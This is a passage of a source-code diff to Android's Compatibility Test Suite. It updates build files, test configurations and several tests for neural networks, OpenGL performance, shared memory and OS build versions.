index 49976a8..0209025 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS CtsNetSecConfigNestedDomainConfigTestCases test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNetSecConfigNestedDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index cace6d0..924f393 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -20,7 +20,11 @@
LOCAL_MODULE_TAGS := tests
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ org.apache.http.legacy \
+ android-support-test \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -28,7 +32,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
new file mode 100644
index 0000000..f1a9ed4
--- /dev/null
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -0,0 +1,52 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsNNAPITestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SRC_FILES := \
+ src/TestValidation.cpp \
+ src/TestMemory.cpp \
+ src/TestTrivialModel.cpp \
+ src/TestGenerated.cpp
+
+LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
+LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
+LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
+
+LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTest.xml
new file mode 100644
index 0000000..cd1a0f0
--- /dev/null
+++ b/tests/tests/neuralnetworks/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Configuration for Native NNAPI Tests">
+ <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+ <option name="push" value="CtsNNAPITestCases->/data/local/tmp/CtsNNAPITestCases" />
+ <option name="append-bitness" value="true" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.GTest" >
+ <option name="native-test-device-path" value="/data/local/tmp" />
+ <option name="module-name" value="CtsNNAPITestCases" />
+ <option name="runtime-hint" value="2m" />
+ <!-- test-timeout unit is ms, value = 2 min -->
+ <option name="native-test-timeout" value="120000" />
+ </test>
+</configuration>
diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
new file mode 100644
index 0000000..b9044fe
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestGenerated.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestGenerated.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestMemory.cpp b/tests/tests/neuralnetworks/src/TestMemory.cpp
new file mode 100644
index 0000000..84d2d41
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestMemory.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestMemory.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
new file mode 100644
index 0000000..b41e50f
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestTrivialModel.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidation.cpp b/tests/tests/neuralnetworks/src/TestValidation.cpp
new file mode 100644
index 0000000..eab0f59
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestValidation.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestValidation.cpp"
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index e43bff1..9338d81 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
index afa94dc..f05fd8c 100755
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ b/tests/tests/opengl/libopengltest/Android.mk
@@ -39,6 +39,9 @@
LOCAL_CXX_STL := libc++_static
LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
index fe49b1b..a511f9a 100755
--- a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
+++ b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
@@ -135,7 +135,7 @@
jclass obj, jint pCategory, jint pSubCategory, jfloatArray color)
{
LOGI("Inside draw %d %d", pCategory, pSubCategory);
- jfloatArray result;
+ jfloatArray result = nullptr;
if(pCategory == 3){
if(pSubCategory == 1){
result = env->NewFloatArray(4);
@@ -143,8 +143,8 @@
jfloat *lColor = env->GetFloatArrayElements(color,0);
float * actualColor = drawColorOne(lColor);
- for( int i= 0; i < sizeof(actualColor); i++) {
- LOGI("actualColor[%d] ; %f", i, actualColor[i]);
+ for(unsigned i = 0; i < sizeof(actualColor); i++) {
+ LOGI("actualColor[%u] ; %f", i, actualColor[i]);
}
env->SetFloatArrayRegion(result, 0, 4, actualColor);
}
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
index 15a7074..ed86051 100644
--- a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
@@ -63,6 +63,12 @@
}
@Override
+ protected void onPause() {
+ mCompressedTextureView.onPause();
+ super.onPause();
+ }
+
+ @Override
protected void onResume() {
super.onResume();
mCompressedTextureView.onResume();
diff --git a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
index 1faef87..c81520d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
@@ -190,9 +190,12 @@
// zero out the refcount.
//
// Before we can terminate we need to be sure that the display has been initialized
- // at least once. Also includes the 1s sleep to work-around a suspected race condition
- // where it seems that some earlier tests may not have completed clean-up of all activities.
- Thread.sleep(1000);
+ // at least once so call eglSetup first.
+ //
+ // IMPORTANT NOTE: If a previous test in this test group fails to cleanup its
+ // GLSurfaceView there may be a crash here on some platforms due to an object destruction
+ // race condition. The solution is to make sure all previous tests override onPause()
+ // and call their GLSurfaceView's onPause() function there. See b/37118199 for history.
eglSetup(2, 1, 1);
for (int i = 0; i < 100; i++) {
EGL14.eglTerminate(mEGLDisplay);
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 46e316a..7669204 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 929e155..dc6b2a8 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -14,6 +14,7 @@
-->
<configuration description="Config for CTS OpenGL Performance test cases">
<option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
index d6df59b..3fe448a 100644
--- a/tests/tests/openglperf/jni/Android.mk
+++ b/tests/tests/openglperf/jni/Android.mk
@@ -28,4 +28,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
index 432fb41..9d898c2 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
@@ -43,6 +43,7 @@
private float mAverageFps;
private int mNumTriangles;
private int[] mFrameInterval;
+ private String mRendererName;
private PlanetsSurfaceView mView;
@@ -59,6 +60,10 @@
return mNumTriangles;
}
+ public String getRendererName() {
+ return mRendererName;
+ }
+
/**
* Time interval between each frame's rendering in ms.
* The first value will be invalid, so client should discard them.
@@ -89,10 +94,12 @@
}
@Override
- public void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval) {
+ public void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+ String rendererName) {
mAverageFps = averageFps;
mNumTriangles = numTriangles;
mFrameInterval = frameInterval;
+ mRendererName = rendererName;
mSem.release();
}
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
index ecf198e..f3a38bb 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
@@ -28,18 +28,21 @@
private static final long RENDERING_TIMEOUT = 5 * 60;
// 30% of fps_no_vbo is allowed to compensate variations in measurement
private static final float FPS_COMPARISON_MARGIN = 0.3f;
- // the worst case should be above 70% of the best case
- private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.7f;
+ // the worst case should be above 30% of the best case
+ private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.3f;
private float mFps;
private int mNumTriangles;
+ private boolean mIsSoftwareRenderer = false;
+
+ private static final String SWIFTSHADER_NAME = "Google SwiftShader";
public GlVboPerfTest() {
super(GlPlanetsActivity.class);
}
public void testVboWithVaryingIndexBufferNumbers() throws Exception {
- final int[] numIndexBuffers = {1, 10, 100, 200, 400}; // per vertex buffer
+ final int[] numIndexBuffers = {1, 10, 100, 200}; // per vertex buffer
float[] fpsVbo = new float[numIndexBuffers.length];
float[] fpsNonVbo = new float[numIndexBuffers.length];
@@ -70,12 +73,14 @@
float delta = minMaxVbo[1] - (1f - FPS_COMPARISON_MARGIN)
* minMaxNonVbo[1];
assertTrue("VBO performance worse than non-VBO " + msgVbo + msgNonVbo, delta > 0f);
- assertTrue(
- "Too much FPS drop for VBO case " + msgVbo,
- minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
- assertTrue(
- "Too much FPS drop for No VBO case " + msgNonVbo,
- minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+ if (!mIsSoftwareRenderer) {
+ assertTrue(
+ "Too much FPS drop for VBO case " + msgVbo,
+ minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
+ assertTrue(
+ "Too much FPS drop for No VBO case " + msgNonVbo,
+ minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+ }
}
public void testVboVsNonVboPerfGeometry0() throws Exception {
@@ -104,6 +109,9 @@
mFps = activity.getAverageFps();
mNumTriangles = activity.getNumTriangles();
+ if (SWIFTSHADER_NAME.equals(activity.getRendererName())) {
+ mIsSoftwareRenderer = true;
+ }
cleanUpActivity();
}
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
index 1d79961..9dd078e 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
@@ -88,6 +88,7 @@
private int mTexCoord0Handle;
private int mTextureHandle;
private int mTextureId;
+ private String mRendererName;
/**
* @param numSlices
@@ -142,6 +143,7 @@
mPositionHandle = GLES20.glGetAttribLocation(mProgram, "vPosition");
mTexCoord0Handle = GLES20.glGetAttribLocation(mProgram, "vTexCoord0");
mTextureHandle = GLES20.glGetUniformLocation(mProgram, "sTexture");
+ mRendererName = GLES20.glGetString(GLES20.GL_RENDERER);
// Load the texture
mTextureId = createTexture2D();
@@ -245,7 +247,7 @@
Log.i(TAG, "Final FPS " + fps + " Num triangles " + numTriangles + " start time " +
mRenderingStartTime + " finish time " + currentTime);
if (mListener != null) {
- mListener.onRenderCompletion(fps, numTriangles, mFrameInterval);
+ mListener.onRenderCompletion(fps, numTriangles, mFrameInterval, mRendererName);
mFrameCount++; // to prevent entering here again
return;
}
@@ -438,7 +440,7 @@
private void printGlInfos() {
Log.i(TAG, "Vendor " + GLES20.glGetString(GLES20.GL_VENDOR));
Log.i(TAG, "Version " + GLES20.glGetString(GLES20.GL_VERSION));
- Log.i(TAG, "Renderer " + GLES20.glGetString(GLES20.GL_RENDERER));
+ Log.i(TAG, "Renderer " + mRendererName);
Log.i(TAG, "Extensions " + GLES20.glGetString(GLES20.GL_EXTENSIONS));
}
private void printParams() {
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
index a5bbfa2..bb63d66 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
@@ -25,6 +25,7 @@
* @param numTriangles Number of triangles in geometric model
* @param frameInterval interval for each frame in ms. Do not use the first one and the last one.
*/
- void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval);
+ void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+ String rendererName);
}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index c99e236..1aa46cc 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -39,12 +39,13 @@
src/android/os/cts/IParcelFileDescriptorPeer.aidl \
src/android/os/cts/IEmptyService.aidl \
src/android/os/cts/ISeccompIsolatedService.aidl \
- src/android/os/cts/ISecondary.aidl
+ src/android/os/cts/ISecondary.aidl \
+ src/android/os/cts/ISharedMemoryService.aidl
LOCAL_PACKAGE_NAME := CtsOsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when b/13282254 is fixed
#LOCAL_SDK_VERSION := current
@@ -66,7 +67,7 @@
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
cts_platform_version_string := $(shell cat $(cts_platform_version_path))
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 846251f..a227cc3 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -76,6 +76,10 @@
android:name="android.os.cts.CrossProcessExceptionService"
android:process=":green"
android:exported="true" />
+ <service
+ android:name="android.os.cts.SharedMemoryService"
+ android:process=":sharedmem"
+ android:exported="false" />
<service android:name="android.os.cts.LocalService">
<intent-filter>
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ae9a76b..8104cab 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-8.0.0
+8.1.0
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index ffd1b96..68f839c 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -28,11 +28,12 @@
android_os_cts_HardwareName.cpp \
android_os_cts_OSFeatures.cpp \
android_os_cts_NoExecutePermissionTest.cpp \
- android_os_cts_SeccompTest.cpp
+ android_os_cts_SeccompTest.cpp \
+ android_os_cts_SharedMemory.cpp
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl libandroid
LOCAL_CXX_STL := none
LOCAL_STATIC_LIBRARIES := libc++_static libminijail
@@ -55,4 +56,7 @@
LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
endif
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CPPFLAGS_arm := -mcpu=generic
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/CtsOsJniOnLoad.cpp b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
index 3e32e7a..166aef7 100644
--- a/tests/tests/os/jni/CtsOsJniOnLoad.cpp
+++ b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
@@ -31,6 +31,8 @@
extern int register_android_os_cts_SeccompTest(JNIEnv*);
+extern int register_android_os_cts_SharedMemoryTest(JNIEnv*);
+
jint JNI_OnLoad(JavaVM *vm, void *reserved) {
JNIEnv *env = NULL;
@@ -62,5 +64,9 @@
return JNI_ERR;
}
+ if (register_android_os_cts_SharedMemoryTest(env)) {
+ return JNI_ERR;
+ }
+
return JNI_VERSION_1_4;
}
diff --git a/tests/tests/os/jni/android_os_cts_SharedMemory.cpp b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
new file mode 100644
index 0000000..16ff385
--- /dev/null
+++ b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+#include <jni.h>
+
+#include <android/sharedmem_jni.h>
+
+#include <sys/mman.h>
+#include <unistd.h>
+
+jboolean nWriteByte(JNIEnv* env, jobject, jobject jSharedMemory, jint index, jbyte value) {
+ int fd = ASharedMemory_dupFromJava(env, jSharedMemory);
+ if (fd == -1) return false;
+ void* addr = mmap(nullptr, 1, PROT_READ | PROT_WRITE, MAP_SHARED, fd, index);
+ if (addr == nullptr) {
+ close(fd);
+ return false;
+ }
+ reinterpret_cast<int8_t*>(addr)[0] = value;
+ munmap(addr, 1);
+ close(fd);
+ return true;
+}
+
+static JNINativeMethod gMethods[] = {
+ { "nWriteByte", "(Landroid/os/SharedMemory;IB)Z", (void *) nWriteByte },
+};
+
+int register_android_os_cts_SharedMemoryTest(JNIEnv* env)
+{
+ jclass clazz = env->FindClass("android/os/cts/SharedMemoryTest");
+
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
index 335818a..1c2f91e 100644
--- a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
+++ b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
@@ -201,7 +201,7 @@
try {
command.run();
fail("Exception not thrown");
- } catch (Throwable tr) {
+ } catch (Exception tr) {
// expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index cba9839..f62b470 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -21,8 +21,6 @@
import android.os.SystemProperties;
import android.platform.test.annotations.RestrictedBuildTest;
-import com.android.compatibility.common.util.CddTest;
-
import dalvik.system.VMRuntime;
import java.io.IOException;
@@ -45,7 +43,6 @@
private static final String RO_PRODUCT_CPU_ABILIST64 = "ro.product.cpu.abilist64";
/** Tests that check the values of {@link Build#CPU_ABI} and {@link Build#CPU_ABI2}. */
- @CddTest(requirement="3.2.2/C-0-1,3.3.1/C-0-5,3.3.1/C-0-4")
public void testCpuAbi() throws Exception {
runTestCpuAbiCommon();
if (VMRuntime.getRuntime().is64Bit()) {
@@ -195,7 +192,6 @@
Pattern.compile("^([0-9A-Za-z._-]+)$");
/** Tests that check for valid values of constants in Build. */
- @CddTest(requirement="3.2.2/C-0-1")
public void testBuildConstants() {
// Build.VERSION.* constants tested by BuildVersionTest
@@ -245,8 +241,11 @@
// should at least be a conscious decision.
assertEquals(10000, fieldValue);
} else if (fieldName.equals(CODENAME) && !CODENAME.equals("REL")) {
- // This is the current development version.
- assertEquals(CUR_DEVELOPMENT, fieldValue);
+ // This is the current development version. Note that fieldName can
+ // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
+ // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
+ assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
+ + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
} else {
assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
+ ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 8310b3c..eec3f16 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -22,8 +22,6 @@
import android.support.test.InstrumentationRegistry;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
@@ -37,7 +35,7 @@
public class BuildVersionTest extends TestCase {
private static final String LOG_TAG = "BuildVersionTest";
- private static final int EXPECTED_SDK = 26;
+ private static final int EXPECTED_SDK = 27;
private static final String EXPECTED_BUILD_VARIANT = "user";
private static final String EXPECTED_TAG = "release-keys";
private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
@@ -63,7 +61,6 @@
* (BUILD_NUMBER):(BUILD_VARIANT)/(TAGS)
* </code>
*/
- @CddTest(requirement="3.2.2/C-0-1")
@RestrictedBuildTest
public void testBuildFingerprint() {
final String fingerprint = Build.FINGERPRINT;
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 36326b3..58d6e37 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -17,6 +17,8 @@
package android.os.cts;
+import static org.junit.Assert.assertTrue;
+
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcel;
@@ -29,6 +31,7 @@
import android.util.SparseArray;
import java.io.File;
+import java.io.FileDescriptor;
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
@@ -855,9 +858,116 @@
}
}
+ public void testHasFileDescriptor() throws Exception {
+ final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+ try {
+ final ParcelFileDescriptor fd = pipe[0];
+
+ assertNotHaveFd(Bundle.EMPTY);
+ assertNotHaveFd(new Bundle());
+
+ assertNotHaveFd(buildBundle("a", 1));
+
+ assertHasFd(buildBundle("a", 1, fd));
+ assertHasFd(buildBundle("a", 1, new Parcelable[]{fd}));
